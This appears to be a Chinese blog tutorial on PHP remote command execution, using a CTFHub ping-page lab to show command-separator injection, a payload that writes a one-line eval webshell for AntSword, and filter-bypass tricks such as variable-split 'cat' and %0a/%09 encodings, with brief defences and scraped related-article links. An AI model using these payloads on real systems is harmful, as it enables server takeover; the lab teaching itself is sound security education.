RCE(remote command/code execute)远程命令/代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

RCE漏洞

应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system、exec、 shell_exec、 passthru、 popen、 proc_popen等函数可以执行系统命令。当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞

拼接命令时需要用到管道符

Windows管道符

  1. |  :直接执行后面的语句。例如ping 127.0.0.1|whoami
  2. ||  :如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。例如ping 2||whoami
  3. & :两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如ping 2&whoami
  4. && :如果前面的语句为假则直接出错,也不执行后面的话句,前面的语句为真则两条命令都执行,前面的语句只能为真。例如ping 127.0.0.1&&whoami

Linux管道符

  1. ; :执行完前面的语句再执行后面的语句。例如ping 127.0.0.1;whoami
  2. | :显示后面语句的执行结果。例如ping 127.0.0.1|whoami
  3. || :当前面的语句执行出错时,执行后面的语句。例如ping 2||whoami
  4. &  :两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。例如ping 2&whoami
  5. &&:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。例如ping 127.0.0.1&&whoami

命令执行漏洞攻击演示

下面拿ctfhub中的命令注入靶场演示

是一个简单的ping网站的页面,输入ip进行ping命令,

输入ip没什么问题返回了结果,但是如果利用管道符拼接一些其他的系统命令例如whoami

成功执行了其他的系统命令

代码执行漏洞攻击演示

也可以利用系统命令写入一句话木马

127.0.0.1&echo "<?php @eval(\$_POST['test']);?>" > 1.php

至于一句话木马为什么要加 \ ,看了网上的回答。echo命令会调用$_POST导致原始文件中没有,因此需要改为echo  "<?php @eval(\$_POST['test']);?>" > 1.php即可

写入一句话木马之后,接下来用蚁剑连接即可

命令执行绕过过滤

这里就列出几个常见的,可以举一反三

  • 过滤cat

  127.0.0.1;a=c;b=at;$a$b rce.php或者127.0.0.1;a=c;b=at;${a}${b} rce_ping.php

  • ; | & 符号过滤

  用%0a来代替上面的符号。

  • 过滤空格

  如果空格也过滤掉,一般情况下%09 %0b %0c是有用的

防御RCE攻击

  • 尽量不要使用命令执行函数。
  • 客户端提交的变量在进入执行命令函数前要做好过滤和检测
  • 在使用动态函数之前,确保使用的函数是指定的函数之ー。
  • 对PHP语言来说,不能完全控制的危险函数最好不要使用

WEB漏洞——RCE的更多相关文章

  1. 各种Web漏洞测试平台

    Sqli Lab​支持报错注入.二次注入.盲注.Update注入.Insert注入.Http头部注入.二次注入练习等.支持GET和POST两种方式. https://github.com/Audi-1 ...

  2. 黑客攻防技术宝典Web实战篇(二)工具篇DVWA Web漏洞学习

    DVWA是一个学习Web漏洞的很好的工具. DVWA全程是Damn Vulnerable Web Application,还有一个跟它一样好的工具尽在http://www.360doc.com/con ...

  3. web漏洞总结

    目录: 1.sql注入获取数据库信息2.sql注入绕过管理后台登录3.反射型xss4.存储型xss5.csrf6.文件上传7.暴力破解8.目录遍历9.权限跨越10.文件包含11.未知漏洞 web漏洞演 ...

  4. Web漏洞扫描工具(批量脱壳、反序列化、CMS)

    一.什么是Web漏洞扫描工具 即是指“扫描Web应用以查找安全漏洞(如跨站脚本,SQL注入,命令执行,目录遍历和不安全服务器配置)的自动化工具”,其中许多可能是由不安全或不正确的编码和设计.另一方面, ...

  5. WEB漏洞 XSS(一)

    1.xss的形成原理 xss 中文名是“跨站脚本攻击”,英文名“Cross Site Scripting”.xss也是一种注入攻击,当web应用对用户输入过滤不严格,攻击者写入恶意的脚本代码(HTML ...

  6. web漏洞扫描工具集合

    最好用的开源Web漏洞扫描工具梳理 链接:www.freebuf.com/articles/web/155209.html 赛门铁克2017年互联网安全威胁报告中提出在他们今年扫描的网站中,有76%都 ...

  7. [网站安全] [实战分享]WEB漏洞挖掘的一些经验分享

    WEB漏洞有很多种,比如SQL注入,比如XSS,比如文件包含,比如越权访问查看,比如目录遍历等等等等,漏洞带来的危害有很多,信息泄露,文件上传到GETSHELL,一直到内网渗透,这里我想分享的最主要的 ...

  8. WEB漏洞挖掘技术总结

    漏洞挖掘技术一直是网络攻击者最感兴趣的问题,漏洞挖掘的范围也在随着技术的提升而有所变化.在前期针对缓冲区溢出.格式化字符串.堆溢出.lib库溢出等技术都是针对ELF文件(Linux可执行文件)或者PE ...

  9. Web 漏洞分析与防御之点击劫持(三)

    原文地址:Web 漏洞分析与防御之点击劫持(三) 博客地址:http://www.extlight.com 一.全称 点击劫持,顾名思义,用户点击某个按钮,却触发了不是用户真正意愿的事件. 二.原理 ...

随机推荐

  1. 基于arduino UNO R3+ESP8266控制LED灯的开关(无USB转TTL工具实现)

    最近由于项目要求,需要开发物联网云平台,而本人对硬件和通信技术一窍不通,故而选择arduino这一简单单片机来实现学习掌握基础的硬件和通信技术. 下面就是本人通过查阅大佬资料做的一个整合版本的通过手机 ...

  2. 题解AGC004C

    题目 . 样例 AGC 好评. 题意:让你在一个 \(H \times W\) 的方格纸上找两个连通块,使得他们的重合部分就是输入中给的部分. 先放个样例. 输入: 5 5 ..... .#.#. . ...

  3. 靶机DC-2 rbash绕过+git提权

    这个靶机和DC-1一样,一共5个flag.全部拿到通关. root@kali:/home/kali# nmap -sP 192.168.1.* 先扫一下靶机的IP地址,拿到靶机的地址为192.168. ...

  4. Vue+SpringBoot前后端分离中的跨域问题

    在前后端分离开发中,需要前端调用后端api并进行内容显示,如果前后端开发都在一台主机上,则会由于浏览器的同源策略限制,出现跨域问题(协议.域名.端口号不同等),导致不能正常调用api接口,给开发带来不 ...

  5. CentOS的crond系统定时服务

    crond 服务管理 [root@node01 ~]# service crond start           (启动服务) [root@node01 ~]# service crond stop ...

  6. Linux进程理解与实践(四)wait函数处理僵尸进程

    Wait的背景 当子进程退出的时候,内核会向父进程发送SIGCHLD信号,子进程的退出是个异步事件(子进程可以在父进程运行的任何时刻终止) 子进程退出时,内核将子进程置为僵尸状态,这个进程称为僵尸进程 ...

  7. Dll文件的创建与测试C#

    创建Dll文件 首先使用VS 2019创建Dll项目,创建项目时选择"类库",如下图 在项目中创建类文件,添加测试代码: namespace PlantSim_C_Interfac ...

  8. pikachu 目录遍历 敏感信息泄露

    目录遍历漏洞概述在web功能设计中,很多时候我们会要将需要访问的文件定义成变量,从而让前端的功能变的更加灵活. 当用户发起一个前端的请求时,便会将请求的这个文件的值(比如文件名称)传递到后台,后台再执 ...

  9. Android 11(R) Power HAL AIDL简析 -- 基本接口

    Android 11(R) Power HAL AIDL将分三篇文章来介绍: Android 11(R) Power HAL AIDL简析 -- 基本接口 Android 11(R) Power HA ...

  10. Charles 抓包 Client SSL handshake failed - Remote host closed connection during handshake

    Charles 抓包 https 报错: Client SSL handshake failed - Remote host closed connection during handshake # ...